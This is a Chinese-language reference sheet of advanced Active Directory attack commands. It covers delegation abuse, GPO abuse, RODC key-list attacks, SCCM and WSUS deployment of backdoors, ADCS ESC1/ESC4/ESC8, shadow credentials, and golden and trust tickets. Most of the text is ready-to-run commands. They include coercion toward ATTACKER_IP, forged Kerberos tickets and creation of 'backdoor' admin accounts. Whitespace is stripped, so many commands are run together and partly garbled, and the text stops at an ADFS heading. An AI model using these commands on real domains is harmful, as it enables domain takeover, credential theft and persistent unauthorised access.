active-directory-attacks - advanced-attacks-育师

高级活动目录攻击参考

委托攻击

无限制委派

当用户使用不受限制的委派进行电脑身份验证时，他们的TGT会被保存到内存中。

查找委派:

# PowerShellGet-ADComputer-Filter{TrustedForDelegation-eq$True}# BloodHoundMATCH(c:Computer{unconstraineddelegation:true})RETURNc

SpoolService 滥用：

# Check spooler servicels\\dc01\pipe\spoolss# Trigger with SpoolSample.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local# Or with printerbug.pypython3 printerbug.py'domain/user:pass'@DC01 ATTACKER_IP

使用 Rubeus 监控：

Rubeus.exe monitor/interval:1

受限委派

识别：

Get-DomainComputer-TrustedToAuth|select-exp msds-AllowedToDelegateTo

使用 Rubeus 利用漏洞：

# S4U2 attackRubeus.exe s4u/user:svc_account/rc4:HASH/impersonateuser:Administrator/msdsspn:cifs/target.domain.local/ptt

使用 Impacket 的漏洞利用：

getST.py-spnHOST/target.domain.local'domain/user:password'-impersonateAdministrator -dc-ip DC_IP

基于资源的受限委派 (RBCD)

# Create machine accountNew-MachineAccount-MachineAccount AttackerPC-Password $(ConvertTo-SecureString'Password123'-AsPlainText-Force)# Set delegationSet-ADComputertarget-PrincipalsAllowedToDelegateToAccount AttackerPC$# Get ticket.\Rubeus.exe s4u/user:AttackerPC$/rc4:HASH/impersonateuser:Administrator/msdsspn:cifs/target.domain.local/ptt

组策略对象滥用

查找易受攻击的GPO

Get-DomainObjectAcl-Identity"SuperSecureGPO"-ResolveGUIDs|Where-Object{($_.ActiveDirectoryRights.ToString()-match"GenericWrite|WriteDacl|WriteOwner")}

使用 SharpGPOAbuse 滥用

# Add local admin.\SharpGPOAbuse.exe--AddLocalAdmin--UserAccount attacker--GPOName"Vulnerable GPO"# Add user rights.\SharpGPOAbuse.exe--AddUserRights--UserRights"SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight"--UserAccount attacker--GPOName"Vulnerable GPO"# Add immediate task.\SharpGPOAbuse.exe--AddComputerTask--TaskName"Update"--Author DOMAIN\Admin--Command"cmd.exe"--Arguments"/c net user backdoor Password123! /add"--GPOName"Vulnerable GPO"

使用 pyGPOAbuse 滥用（Linux）

./pygpoabuse.py DOMAIN/user-hasheslm:nt -gpo-id"12345677-ABCD-9876-ABCD-123456789012"

RODC 攻击

RODC 黄金票

RODC 包含经过筛选的 AD 副本（不包括 LAPS/Bitlocker 密钥）。为 msDS-RevealOnDemandGroup 中的主体伪造票证。

RODC 密钥列表攻击

要求：

RODC 的 krbtgt 凭证 (-rodcKey)
RODC 的 krbtgt 帐户 ID (-rodcNo)

# Impacket keylistattackkeylistattack.py DOMAIN/user:password@host-rodcNoXXXXX-rodcKeyXXXXXXXXXXXXXXXXXXXX-full# Using secretsdump with keylistsecretsdump.py DOMAIN/user:password@host-rodcNoXXXXX-rodcKeyXXXXXXXXXXXXXXXXXXXX -use-keylist

使用 Rubeus：

Rubeus.exe golden/rodcNumber:25078/aes256:RODC_AES256_KEY/user:Administrator/id:500/domain:domain.local/sid:S-1-5-21-xxx

SCCM/WSUS 部署

使用 MalSCCM 的 SCCM 攻击

# Locate SCCM serverMalSCCM.exelocate# Enumerate targetsMalSCCM.exe inspect /all MalSCCM.exe inspect /computers# Create target groupMalSCCM.exe group /create /groupname:TargetGroup /grouptype:device MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC# Create malicious appMalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"# DeployMalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update# Force checkinMalSCCM.exe checkin /groupname:TargetGroup# CleanupMalSCCM.exe app /cleanup /name:backdoor MalSCCM.exe group /delete /groupname:TargetGroup

SCCM 网络访问帐户

# Find SCCM blobGet-Wmiobject-namespace"root\ccm\policy\Machine\ActualConfig"-class"CCM_NetworkAccessAccount"# Decrypt with SharpSCCM.\SharpSCCM.exe get naa-u USERNAME-p PASSWORD

WSUS 部署攻击

# Using SharpWSUSSharpWSUS.exelocateSharpWSUS.exe inspect# Create malicious updateSharpWSUS.exe create /payload:"C:\psexec.exe"/args:"-accepteula -s -d cmd.exe /c\"net user backdoor Password123! /add\""/title:"Critical Update"# Deploy to targetSharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"# Check statusSharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local# CleanupSharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"

AD 证书服务 (ADCS)

ESC1 - 配置错误的模板

模板允许 ENROLLEE_SUPPLIES_SUBJECT 使用客户端身份验证 EKU。

# Find vulnerable templatescertipyfind-uuser@domain.local-ppassword -dc-ip DC_IP-vulnerable# Request certificate as admincertipy req-uuser@domain.local-ppassword-caCA-NAME-targetca.domain.local-templateVulnTemplate-upnadministrator@domain.local# Authenticatecertipy auth-pfxadministrator.pfx -dc-ip DC_IP

ESC4 - ACL 漏洞

# Check for WritePropertypython3 modifyCertTemplate.py domain.local/user-k-no-pass-template user-dc-ip DC_IP-get-acl# Add ENROLLEE_SUPPLIES_SUBJECT flagpython3 modifyCertTemplate.py domain.local/user-k-no-pass-template user-dc-ip DC_IP-add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT# Perform ESC1, then restorepython3 modifyCertTemplate.py domain.local/user-k-no-pass-template user-dc-ip DC_IP-value0-propertymspki-Certificate-Name-Flag

ESC8 - NTLM 中继到 Web 注册

# Start relayntlmrelayx.py-thttp://ca.domain.local/certsrv/certfnsh.asp-smb2support--adcs--templateDomainController# Coerce authenticationpython3 petitpotam.py ATTACKER_IP DC_IP# Use certificateRubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt

影子凭证

# Add Key Credential (pyWhisker)python3 pywhisker.py-d"domain.local"-u"user1"-p"password"--target"TARGET"--actionadd# Get TGT with PKINITpython3 gettgtpkinit.py -cert-pfx"cert.pfx"-pfx-pass"password""domain.local/TARGET"target.ccache# Get NT hashexportKRB5CCNAME=target.ccache python3 getnthash.py-key'AS-REP_KEY'domain.local/TARGET

信任关系攻击

子域到父域（SID 历史）

# Get Enterprise Admins SID from parent$ParentSID="S-1-5-21-PARENT-DOMAIN-SID-519"# Create Golden Ticket with SID Historykerberos::golden/user:Administrator/domain:child.parent.local/sid:S-1-5-21-CHILD-SID/krbtgt:KRBTGT_HASH/sids:$ParentSID/ptt

森林到森林（信托票）

# Dump trust keylsadump::trust /patch# Forge inter-realm TGTkerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi# Use trust ticket.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt

ADFS 金色 SAML